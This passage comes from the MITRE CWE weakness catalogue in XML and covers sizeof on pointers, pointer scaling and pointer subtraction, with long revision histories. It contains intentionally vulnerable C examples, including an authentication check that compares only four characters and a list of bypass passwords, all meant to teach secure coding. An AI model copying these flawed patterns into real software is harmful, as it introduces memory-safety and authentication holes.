               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings, White_Box_Definitions</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Illegal Pointer Value</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="467" Name="Use of sizeof() on a Pointer Type" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The code calls sizeof() on a malloced pointer type, which always returns the wordsize/8. This can produce an unexpected result if the programmer intended to determine how much memory has been allocated.</Description>
         <Extended_Description>The use of sizeof() on a pointer can sometimes generate useful information. An obvious case is to find out the wordsize on a platform. More often than not, the appearance of sizeof(pointer) indicates a bug.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="131" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Impact>Modify Memory</Impact>
               <Impact>Read Memory</Impact>
               <Note>This error can often cause one to allocate a buffer that is much smaller than what is needed, leading to resultant weaknesses such as buffer overflows.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Use expressions such as "sizeof(*pointer)" instead of "sizeof(pointer)", unless you intend to run sizeof() on a pointer type to gain some platform independence or if you are allocating a variable on the stack.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>Care should be taken to ensure sizeof returns the size of the data structure itself, and not the size of the pointer to the data structure.</Intro_Text>
               <Body_Text>In this example, sizeof(foo) returns the size of the pointer.</Body_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>double *foo;<xhtml:br/>...<xhtml:br/>foo = (double *)malloc(sizeof(foo));</xhtml:div>
               </Example_Code>
               <Body_Text>In this example, sizeof(*foo) returns the size of the data structure and not the size of the pointer.</Body_Text>
               <Example_Code Nature="Good" Language="C">
                  <xhtml:div>double *foo;<xhtml:br/>...<xhtml:br/>foo = (double *)malloc(sizeof(*foo));</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>This example defines a fixed username and password. The AuthenticateUser() function is intended to accept a username and a password from an untrusted user, and check to ensure that it matches the username and password. If the username and password match, AuthenticateUser() is intended to indicate that authentication succeeded.</Intro_Text>
               <Example_Code Nature="Bad">
                  <xhtml:div>
                     <xhtml:br/>
                     <xhtml:i>/* Ignore CWE-259 (hard-coded password) and CWE-309 (use of password system for authentication) for this example. */</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>char *username = "admin";<xhtml:br/>char *pass = "password";<xhtml:br/>
                     <xhtml:br/>int AuthenticateUser(char *inUser, char *inPass) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>printf("Sizeof username = %d\n", sizeof(username));<xhtml:br/>printf("Sizeof pass = %d\n", sizeof(pass));<xhtml:br/>
                           <xhtml:br/>if (strncmp(username, inUser, sizeof(username))) {<xhtml:div style="margin-left:1em;">printf("Auth failure of username using sizeof\n");<xhtml:br/>return(AUTH_FAIL);</xhtml:div>}<xhtml:br/>
                           <xhtml:i>/* Because of CWE-467, the sizeof returns 4 on many platforms and architectures. */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>if (! strncmp(pass, inPass, sizeof(pass))) {<xhtml:div style="margin-left:1em;">printf("Auth success of password using sizeof\n");<xhtml:br/>return(AUTH_SUCCESS);</xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">printf("Auth fail of password using sizeof\n");<xhtml:br/>return(AUTH_FAIL);</xhtml:div>}</xhtml:div>
                     </xhtml:div>}<xhtml:br/>
                     <xhtml:br/>int main (int argc, char **argv)<xhtml:br/>{<xhtml:div style="margin-left:1em;">
                        <xhtml:div>int authResult;<xhtml:br/>
                           <xhtml:br/>if (argc &lt; 3) {<xhtml:div style="margin-left:1em;">ExitError("Usage: Provide a username and password");</xhtml:div>}<xhtml:br/>authResult = AuthenticateUser(argv[1], argv[2]);<xhtml:br/>if (authResult != AUTH_SUCCESS) {<xhtml:div style="margin-left:1em;">ExitError("Authentication failed");</xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">DoAuthenticatedTask(argv[1]);</xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>In AuthenticateUser(), because sizeof() is applied to a parameter with an array type, the sizeof() call might return 4 on many modern architectures. As a result, the strncmp() call only checks the first four characters of the input password, resulting in a partial comparison (CWE-187), leading to improper authentication (CWE-287).</Body_Text>
               <Body_Text>Because of the partial comparison, any of these passwords would still cause authentication to succeed for the "admin" user:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>pass5<xhtml:br/>passABCDEFGH<xhtml:br/>passWORD</xhtml:div>
               </Example_Code>
               <Body_Text>Because only 4 characters are checked, this significantly reduces the search space for an attacker, making brute force attacks more feasible.</Body_Text>
               <Body_Text>The same problem also applies to the username, so values such as "adminXYZ" and "administrator" will succeed for the username.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Use of sizeof() on a pointer type</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>ARR01-C</Entry_ID>
               <Entry_Name>Do not apply the sizeof operator to a pointer when taking the size of an array</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MEM35-C</Entry_ID>
               <Entry_Name>Allocate sufficient memory for an object</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP10</Entry_ID>
               <Entry_Name>Incorrect Buffer Length Computation</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-18"/>
            <Reference External_Reference_ID="REF-442"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>KDM Analytics</Modification_Organization>
               <Modification_Date>2008-08-01</Modification_Date>
               <Modification_Comment>added/updated white box definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Taxonomy_Mappings, White_Box_Definitions</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="468" Name="Incorrect Pointer Scaling" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>In C and C++, one may often accidentally refer to the wrong memory due to the semantics of when math operations are implicitly scaled.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="682" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>Programmers may try to index from a pointer by adding a number of bytes. This is incorrect because C and C++ implicitly scale the operand by the size of the data type.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Memory</Impact>
               <Impact>Modify Memory</Impact>
               <Note>Incorrect pointer scaling will often result in buffer overflow conditions. Confidentiality can be compromised if the weakness is in the context of a buffer over-read or under-read.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Use a platform with high-level memory abstractions.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Always use array indexing instead of direct pointer manipulation.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Use technologies for preventing buffer overflows.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-55">
               <Intro_Text>This example attempts to calculate the position of the second byte of a pointer.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int *p = x;<xhtml:br/>char * second_char = (char *)(p + 1);</xhtml:div>
               </Example_Code>
               <Body_Text>In this example, second_char is intended to point to the second byte of p. But, adding 1 to p actually adds sizeof(int) to p, giving a result that is incorrect (3 bytes off on 32-bit platforms). If the resulting memory address is read, this could potentially be an information leak. If it is a write, it could be a security-critical write to unauthorized memory-- whether or not it is a buffer overflow. Note that the above code may also be wrong in other ways, particularly in a little endian environment.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Unintentional pointer scaling</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>ARR39-C</Entry_ID>
               <Entry_Name>Do not add or subtract a scaled integer to a pointer</Entry_Name>
               <Mapping_Fit>Exact</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>EXP08-C</Entry_ID>
               <Entry_Name>Ensure pointer arithmetic is used correctly</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP1</Entry_ID>
               <Entry_Name>Glitch in computation</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-18"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 6, &#34;Pointer Arithmetic&#34;, Page 277"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>KDM Analytics</Modification_Organization>
               <Modification_Date>2008-08-01</Modification_Date>
               <Modification_Comment>added/updated white box definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>KDM Analytics</Modification_Name>
               <Modification_Date>2009-07-17</Modification_Date>
               <Modification_Comment>Improved the White_Box_Definition</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated White_Box_Definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings, White_Box_Definitions</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Unintentional Pointer Scaling</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="469" Name="Use of Pointer Subtraction to Determine Size" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product subtracts one pointer from another in order to determine size, but this calculation can be incorrect if the pointers do not exist in the same memory chunk.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="682" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Modify Memory</Impact>
               <Impact>Read Memory</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>There is the potential for arbitrary code execution with privileges of the vulnerable program.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-13">
             <Method>Fuzzing</Method>
             <Description>Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Save an index variable. This is the recommended solution. Rather than subtract pointers from one another, use an index variable of the same size as the pointers in question. Use this variable to "walk" from one pointer to the other and calculate the difference. Always validate this number.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following example contains the method size that is used to determine the number of nodes in a linked list. The method is passed a pointer to the head of the linked list.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>struct node {<xhtml:div style="margin-left:1em;">int data;<xhtml:br/>struct node* next;</xhtml:div>};<xhtml:br/>
                     <xhtml:br/>
                     <xhtml:i>// Returns the number of nodes in a linked list from</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>
                     <xhtml:i>// the given pointer to the head of the list.</xhtml:i>
                     <xhtml:br/>int size(struct node* head) {<xhtml:div style="margin-left:1em;">struct node* current = head;<xhtml:br/>struct node* tail;<xhtml:br/>while (current != NULL) {<xhtml:div style="margin-left:1em;">tail = current;<xhtml:br/>current = current-&gt;next;</xhtml:div>}<xhtml:br/>return tail - head;</xhtml:div>}<xhtml:br/>
                     <xhtml:br/>
                     <xhtml:i>// other methods for manipulating the list</xhtml:i>
                     <xhtml:br/>...<xhtml:br/>
                  </xhtml:div>
               </Example_Code>
               <Body_Text>However, the method creates a pointer that points to the end of the list and uses pointer subtraction to determine the number of nodes in the list by subtracting the tail pointer from the head pointer. There no guarantee that the pointers exist in the same memory area, therefore using pointer subtraction in this way could return incorrect results and allow other unintended behavior. In this example a counter should be used to determine the number of nodes in the list, as shown in the following code.</Body_Text>
               <Example_Code Nature="Good" Language="C">
                  <xhtml:div>
                     <xhtml:br/>...<xhtml:br/>
                     <xhtml:br/>int size(struct node* head) {<xhtml:div style="margin-left:1em;">struct node* current = head;<xhtml:br/>int count = 0;<xhtml:br/>while (current != NULL) {<xhtml:div style="margin-left:1em;">count++;<xhtml:br/>current = current-&gt;next;</xhtml:div>}<xhtml:br/>return count;</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Improper pointer subtraction</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>ARR36-C</Entry_ID>
               <Entry_Name>Do not subtract or compare two pointers that do not refer to the same array</Entry_Name>
               <Mapping_Fit>Exact</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP7</Entry_ID>
               <Entry_Name>Faulty Pointer Use</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-18"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>KDM Analytics</Modification_Organization>
               <Modification_Date>2008-08-01</Modification_Date>
               <Modification_Comment>added/updated white box definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
